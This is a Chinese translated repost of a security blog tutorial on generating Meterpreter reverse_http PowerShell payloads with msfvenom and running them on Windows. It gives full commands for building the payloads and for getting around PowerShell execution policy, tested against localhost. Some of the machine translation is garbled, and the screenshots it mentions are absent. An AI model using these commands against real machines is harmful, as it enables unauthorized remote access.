Generating PowerShell Scripts With MSFVenom On Windows

要在Windows上使用msfvenom生成PowerShell脚本,请使用命令“msfvenom.bat -payload windows/x64/meterpreter_reverse_http -format psh -out meterpreter-64.ps1 LHOST = 127.0.0.1”

payload windows/x64/meterpreter_reverse_http是64位Windows的Meterpreter载荷。格式psh是用于生成将执行有效负载的PowerShell脚本的格式(ps1格式和PowerShell是转换格式,它们不会生成执行有效内容的脚本)。

使用此命令“msfvenom.bat -payload windows/meterpreter_reverse_http -format psh -out meterpreter-32.ps1 LHOST = 127.0.0.1”生成32位有效内容

就像我在后文中显示的.exe有效载荷一样,我们启动一个像这样的处理程序

现在我们需要执行PowerShell脚本。只要执行“powershell.exe -File meterpreter-64.ps1”将不起作用

默认情况下,不会执行.ps1文件。我们可以通过绕过策略“powershell.exe -ExecutionPolicy Bypass -File meterpreter-64.ps1”执行它们

在这个例子中,当有效载荷被执行时,948是由CreateThread创建的线程的句柄。

但回到Metasploit控制台,你将看不到连接。这是因为PowerShell进程在Meterpreter有效载荷完全执行之前终止:powershell.exe执行脚本,该脚本在powershell进程中载入Meterpreter载荷,然后powershell.exe退出,例如powershell进程终止,因此Meterpreter载荷也是。

为了让Meterpreter有效负载建立连接的时间,PowerShell进程必须保持活动状态。我们可以通过阻止powershell.exe使用选项-NoExit退出

现在我们得到一个连接:

这个例子是针对64位Windows机器上的64位有效载荷的。

使用相同的命令在32位Windows机器上执行32位有效负载(除了文件名,在我们的例子中是meterpreter-32.ps1)。

要在64位Windows计算机上执行32位有效负载,我们需要启动32位PowerShell,例如“c:\ Windows \ SysWOW64 \ WindowsPowerShell \ v1.0 \ powershell.exe -ExecutionPolicy Bypass -NoExit -File Meterpreter就会-32.ps1”

这给了我们两个会话


转载请注明出处:https://www.freearoot.com/index.php/generating-powershell-scripts-with-msfvenom-on-windows.html

转载来源:https://blog.didierstevens.com/2017/08/16/generating-powershell-scripts-with-msfvenom-on-windows/amp/